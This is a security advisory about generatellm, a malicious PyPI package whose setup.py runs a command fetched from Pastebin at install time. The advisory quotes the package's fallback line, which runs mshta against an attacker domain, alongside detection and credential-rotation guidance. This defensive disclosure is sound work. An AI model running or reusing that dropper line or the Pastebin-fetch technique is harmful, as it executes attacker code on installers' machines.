generatellmPyPI
Advisory published Updated
generatellm is a confirmed malicious PyPI package (MAL-2026-5773) that steals credentials and exfiltrates sensitive data (malicious versions 2.21, 2.22, 2.23). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in generatellm (PyPI)
What this malware does
GenerateLLM 2.23 is a hollow PyPI package (placeholder metadata, no functional code under src/, only an egg-info directory) whose entire payload is an install-time remote code execution dropper. setup.py at lines 31-35 fetches https://pastebin.com/raw/yBcUM1QB, takes the first line of the response, and passes it directly to os.system via cmd /c "{cmd_pastebin}", executing arbitrary attacker-controlled commands on the installer's machine. If the Pastebin fetch fails, setup.py line 38 falls back to os.system('cmd /c "mshta http://fixars.top"'), abusing the Windows mshta.exe LOLBin to load and execute a remote HTA application from an unrelated, non-publisher, plain-HTTP domain. Both branches fire automatically during pip install GenerateLLM with no user interaction. The Pastebin URL is mutable and anonymous, so the executed command can be changed by the attacker at any time without republishing the package. The generic LLM-themed name with no real author identity is consistent with namespace-squatting designed to lure developers searching for LLM tooling.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
-
Downloads and executes a remote executable.
-
obfuscation
-
malware
-
tool:mshta
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for generatellm (3 malicious versions).
If you installed it — respond
generatellm is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If generatellm was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks generatellm-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.